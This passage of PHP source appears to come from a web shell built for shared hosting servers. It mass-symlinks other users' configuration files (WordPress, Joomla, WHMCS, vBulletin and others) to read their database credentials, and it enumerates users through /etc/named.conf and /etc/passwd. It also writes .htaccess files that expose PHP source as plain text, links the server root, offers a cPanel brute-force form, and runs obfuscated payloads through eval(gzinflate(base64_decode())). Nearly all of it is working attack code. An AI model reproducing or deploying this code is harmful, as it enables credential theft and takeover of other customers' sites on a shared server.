5804symlink('/home/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
5805symlink('/home/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
5806symlink('/home/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
5807symlink('/home/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
5808symlink('/home/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
5809symlink('/home/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
5810symlink('/home/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
5811symlink('/home/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
5812symlink('/home/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
5813symlink('/home/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
5814symlink('/home/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
5815symlink('/home/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
5816symlink('/home/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
5817symlink('/home2/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
5818symlink('/home2/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
5819symlink('/home2/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
5820symlink('/home2/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
5821symlink('/home2/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
5822symlink('/home2/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
5823symlink('/home2/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
5824symlink('/home2/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
5825symlink('/home2/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
5826symlink('/home2/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
5827symlink('/home2/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
5828symlink('/home2/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
5829symlink('/home2/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
5830symlink('/home2/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
5831symlink('/home2/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
5832symlink('/home2/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
5833symlink('/home2/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
5834symlink('/home2/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
5835symlink('/home2/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
5836symlink('/home2/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
5837symlink('/home2/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
5838symlink('/home2/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
5839symlink('/home2/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
5840symlink('/home2/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
5841symlink('/home2/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
5842symlink('/home2/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
5843symlink('/home2/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
5844symlink('/home2/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
5845symlink('/home2/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
5846symlink('/home2/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
5847symlink('/home3/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
5848symlink('/home3/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
5849symlink('/home3/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
5850symlink('/home3/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
5851symlink('/home3/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
5852symlink('/home3/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
5853symlink('/home3/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
5854symlink('/home3/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
5855symlink('/home3/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
5856symlink('/home3/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
5857symlink('/home3/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
5858symlink('/home3/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
5859symlink('/home3/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
5860symlink('/home3/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
5861symlink('/home3/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
5862symlink('/home3/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
5863symlink('/home3/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
5864symlink('/home3/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
5865symlink('/home3/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
5866symlink('/home3/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
5867symlink('/home3/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
5868symlink('/home3/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
5869symlink('/home3/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
5870symlink('/home3/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
5871symlink('/home3/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
5872symlink('/home3/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
5873symlink('/home3/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
5874symlink('/home3/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
5875symlink('/home3/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
5876symlink('/home3/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
5877symlink('/home4/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
5878symlink('/home4/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
5879symlink('/home4/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
5880symlink('/home4/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
5881symlink('/home4/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
5882symlink('/home4/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
5883symlink('/home4/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
5884symlink('/home4/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
5885symlink('/home4/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
5886symlink('/home4/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
5887symlink('/home4/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
5888symlink('/home4/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
5889symlink('/home4/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
5890symlink('/home4/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
5891symlink('/home4/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
5892symlink('/home4/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
5893symlink('/home4/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
5894symlink('/home4/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
5895symlink('/home4/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
5896symlink('/home4/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
5897symlink('/home4/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
5898symlink('/home4/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
5899symlink('/home4/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
5900symlink('/home4/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
5901symlink('/home4/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
5902symlink('/home4/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
5903symlink('/home4/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
5904symlink('/home4/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
5905symlink('/home4/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
5906symlink('/home4/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
5907symlink('/home5/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
5908symlink('/home5/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
5909symlink('/home5/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
5910symlink('/home5/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
5911symlink('/home5/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
5912symlink('/home5/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
5913symlink('/home5/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
5914symlink('/home5/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
5915symlink('/home5/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
5916symlink('/home5/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
5917symlink('/home5/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
5918symlink('/home5/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
5919symlink('/home5/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
5920symlink('/home5/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
5921symlink('/home5/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
5922symlink('/home5/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
5923symlink('/home5/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
5924symlink('/home5/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
5925symlink('/home5/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
5926symlink('/home5/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
5927symlink('/home5/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
5928symlink('/home5/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
5929symlink('/home5/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
5930symlink('/home5/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
5931symlink('/home5/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
5932symlink('/home5/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
5933symlink('/home5/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
5934symlink('/home5/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
5935symlink('/home5/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
5936symlink('/home5/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
5937symlink('/home6/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
5938symlink('/home6/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
5939symlink('/home6/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
5940symlink('/home6/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
5941symlink('/home6/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
5942symlink('/home6/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
5943symlink('/home6/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
5944symlink('/home6/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
5945symlink('/home6/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
5946symlink('/home6/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
5947symlink('/home6/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
5948symlink('/home6/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
5949symlink('/home6/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
5950symlink('/home6/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
5951symlink('/home6/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
5952symlink('/home6/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
5953symlink('/home6/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
5954symlink('/home6/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
5955symlink('/home6/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
5956symlink('/home6/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
5957symlink('/home6/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
5958symlink('/home6/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
5959symlink('/home6/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
5960symlink('/home6/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
5961symlink('/home6/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
5962symlink('/home6/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
5963symlink('/home6/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
5964symlink('/home6/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
5965symlink('/home6/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
5966symlink('/home6/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
5967symlink('/home7/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
5968symlink('/home7/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
5969symlink('/home7/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
5970symlink('/home7/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
5971symlink('/home7/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
5972symlink('/home7/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
5973symlink('/home7/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
5974symlink('/home7/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
5975symlink('/home7/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
5976symlink('/home7/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
5977symlink('/home7/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
5978symlink('/home7/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
5979symlink('/home7/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
5980symlink('/home7/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
5981symlink('/home7/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
5982symlink('/home7/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
5983symlink('/home7/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
5984symlink('/home7/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
5985symlink('/home7/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
5986symlink('/home7/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
5987symlink('/home7/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
5988symlink('/home7/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
5989symlink('/home7/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
5990symlink('/home7/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
5991symlink('/home7/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
5992symlink('/home7/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
5993symlink('/home7/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
5994symlink('/home7/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
5995symlink('/home7/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
5996symlink('/home7/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
5997}$d0mains = @file("/etc/named.conf");
5998if ($d0mains) {mkdir($fn);
5999chdir($fn);
6000foreach ($d0mains as $d0main) {if (eregi("zone", $d0main)) {preg_match_all('#zone "(.*)"#', $d0main, $domains);
6001flush();
6002if (strlen(trim($domains[1][0])) > 2) {$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
6003syml($user['name'], $domains[1][0]);
6004}}}echo "<center><font color=lime size=3>Done</font></center>";
6005echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>Here</font></a></center>";
6006} else {mkdir($fn);
6007chdir($fn);
6008$temp = "";
6009$val1 = 0;
6010$val2 = 1000;
6011for (;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
6012if ($uid) $temp.= join(':', $uid) . "
6013";
6014}echo '<br/>';
6015$temp = trim($temp);
6016$file5 = fopen("test.txt", "w");
6017fputs($file5, $temp);
6018fclose($file5);
6019$htaccess = 'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
6020aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
6021biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
6022';
6023$file = fopen(".htaccess", "w+");
6024$write = fwrite($file, base64_decode($htaccess));
6025$file = fopen("test.txt", "r") or exit("Unable to open file!");
6026while (!feof($file)) {$s = fgets($file);
6027$matches = array();
6028$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
6029$matches = str_replace("home/", "", $matches[1]);
6030if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
6031syml($matches, $matches);
6032}fclose($file);
6033echo "</table>";
6034unlink("test.txt");
6035echo "<center><font color=lime size=3>Done</font></center>";
6036echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>Here</font></a></center>";
6037}echo "<hr><center><b><a href=" . $_SERVER['PHP_SELF'] . ">BACK</a>";
6038exit;
6039}
6040?>
6041<form method="POST" target="_blank">
6042 <strong>
6043<input name="page" type="hidden" value="find"><table>
6044 </strong><br><br><center><font size="5" style="italic" color="white">Cpanel BruteForce</font></center><br><br>
6045 <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
6046 <tr>
6047 <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
6048 <center><b><font size="5" style="italic" color="white">Cpanel BruteForce</font></b></center></td></tr>
6049 <tr>
6050 <td>
6051 <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
6052 <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
6053 <strong>User :</strong></td>
6054 <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail'); ?></textarea></strong></td>
6055 </tr>
6056 <tr>
6057 <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
6058 <strong>Pass :</strong></td>
6059 <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
6060 </tr>
6061 <tr>
6062 <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
6063 <strong>Type :</strong></td>
6064 <td valign="top" bgcolor="#151515" colspan="5">
6065 <span class="style2"><strong>Simple : </strong> </span>
6066 <strong>
6067 <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
6068 <font class="style2"><strong>/etc/passwd : </strong> </font>
6069 <strong>
6070 <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
6071 </strong>
6072 </span>
6073 </td>
6074 </tr>
6075 <tr>
6076 <td valign="top" bgcolor="#151515" style="width: 139px"></td>
6077 <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
6078 </strong>
6079 </td>
6080 <tr>
6081</form>
6082<tr>
6083 <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
6084 </tr>
6085<form method="POST" target="_blank">
6086 <strong>
6087<input name="mendapatkan" type="hidden" value="passwd">
6088 </strong>
6089 <tr>
6090 <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
6091 <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
6092 </strong>
6093 </td>
6094 </tr>
6095 <tr>
6096 <td valign="top" bgcolor="#151515" style="width: 139px"></td>
6097 <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
6098 </strong>
6099 </td>
6100 <tr>
6101</form>
6102<tr>
6103 <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
6104 </tr>
6105<form method="POST" target="_blank">
6106 <strong>
6107<input name="pass" type="hidden" value="password">
6108 </strong>
6109 <tr>
6110 <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
6111 <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
6112 </strong>
6113 </td>
6114 </tr>
6115 <tr>
6116 <td valign="top" bgcolor="#151515" style="width: 139px"></td>
6117 <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
6118 </strong>
6119 </td>
6120 <tr>
6121</form>
6122<tr>
6123 <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
6124 Security</strong></td>
6125 </tr>
6126 <tr>
6127 <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
6128 <td valign="top" bgcolor="#151515" colspan="5">
6129 <strong>
6130<?php
6131$safe_mode = ini_get('safe_mode');
6132if ($safe_mode == '1') {echo 'ON';
6133} else {echo 'OFF';
6134}
6135?>
6136 </strong>
6137 </td>
6138 </tr>
6139 <tr>
6140 <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
6141 <td valign="top" bgcolor="#151515" colspan="5">
6142 <strong>
6143<form method="POST" target="_blank">
6144 <strong>
6145<input name="matikan" type="hidden" value="sekatan">
6146 </strong>
6147
6148<?php
6149if ('' == ($func = @ini_get('disable_functions'))) {echo "<font color=white>No Security for Function</font></b>";
6150} else {echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
6151echo "<font color=red>$func</font></b>";
6152echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
6153echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
6154 </strong>
6155 </td></tr>';
6156}
6157?></strong></td></tr></table></table></table>
6158<?php
6159}
6160///////////////////////////////////////////////////////////////////////////
6161elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) {eval(gzinflate(base64_decode($jumper)));
6162"</div>";
6163} elseif (isset($_GET['x']) && ($_GET['x'] == 'zonekerupuk')) {eval(gzinflate(base64_decode($zonekerupuk)));
6164"</div>";
6165}
6166#################################################################
6167########################################
6168########################
6169#####################
6170# START HERE
6171//ini sym file
6172////////////////////////////////////////////////////////////////////////////////////////////////////////////
6173elseif (isset($_GET['x']) && ($_GET['x'] == 'sf')) {@set_time_limit(0);
6174@mkdir('sym', 0777);
6175error_reporting(0);
6176$htaccess = "Options all
6177 DirectoryIndex gaza.html
6178 AddType text/plain .php
6179 AddHandler server-parsed .php
6180 AddType text/plain .html
6181 AddHandler txt .html
6182 Require None
6183 Satisfy Any";
6184$op = @fopen('sym/.htaccess', 'w');
6185fwrite($op, $htaccess);
6186echo '<br><br><center><h2>Symlink File !</h2></center><center><br>
6187<div class="mybox"><h2 class="k2ll33d2">Symlink</h2><br>
6188<form method="post"> File Path:<br>
6189<input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/>
6190<br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br>
6191<input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></div></center>';
6192$target = $_POST['file'];
6193$symfile = $_POST['symfile'];
6194$symlink = $_POST['symlink'];
6195if ($symlink) {@symlink("$target", "sym/$symfile");
6196echo '<br><center><a target="_blank" href="sym/' . $symfile . '" >' . $symfile . '</a><br><br><br><br></center>';
6197}}
6198/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
6199//sym sec
6200elseif (isset($_GET['x']) && ($_GET['x'] == 'sec')) {$d0mains = @file("/etc/named.conf");
6201##httaces
6202if ($d0mains) {@mkdir("k2", 0777);
6203@chdir("k2");
6204@exe("ln -s / root");
6205$file3 = 'Options all
6206DirectoryIndex Sux.html
6207AddType text/plain .php
6208AddHandler server-parsed .php
6209AddType text/plain .html
6210AddHandler txt .html
6211Require None
6212Satisfy Any';
6213$fp3 = fopen('.htaccess', 'w');
6214$fw3 = fwrite($fp3, $file3);
6215@fclose($fp3);
6216echo "<br><br><center><h2>Symlink Server !</h2></center><br><br>
6217<table align=center border=1 style='width:60%;border-color:#333333;'>
6218<tr>
6219<td align=center><font size=3>S. No.</font></td>
6220<td align=center><font size=3>Domains</font></td>
6221<td align=center><font size=3>Users</font></td>
6222<td align=center><font size=3>Symlink</font></td>
6223</tr>";
6224$dcount = 1;
6225foreach ($d0mains as $d0main) {if (eregi("zone", $d0main)) {preg_match_all('#zone "(.*)"#', $d0main, $domains);
6226flush();
6227if (strlen(trim($domains[1][0])) > 2) {$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
6228echo "<tr align=center><td><font size=3>" . $dcount . "</font></td>
6229<td align=left><a href=http://www." . $domains[1][0] . "/><font class=txt>" . $domains[1][0] . "</font></a></td>
6230<td>" . $user['name'] . "</td>
6231<td><a href='/k2/root/home/" . $user['name'] . "/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
6232flush();
6233$dcount++;
6234}}}echo "</table>";
6235} else {$TEST = @file('/etc/passwd');
6236if ($TEST) {@mkdir("k2", 0777);
6237@chdir("k2");
6238exe("ln -s / root");
6239$file3 = 'Options all
6240 DirectoryIndex Sux.html
6241 AddType text/plain .php
6242 AddHandler server-parsed .php
6243 AddType text/plain .html
6244 AddHandler txt .html
6245 Require None
6246 Satisfy Any';
6247$fp3 = fopen('.htaccess', 'w');
6248$fw3 = fwrite($fp3, $file3);
6249@fclose($fp3);
6250echo "<br><br><center><h2>Symlink Server !</h2></center><br><br>
6251 <table align=center border=1><tr>
6252 <td align=center><font size=4>S. No.</font></td>
6253 <td align=center><font size=4>Users</font></td>
6254 <td align=center><font size=4>Symlink</font></td></tr>";
6255$dcount = 1;
6256$file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
6257while (!feof($file)) {$s = fgets($file);
6258$matches = array();
6259$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
6260$matches = str_replace("home/", "", $matches[1]);
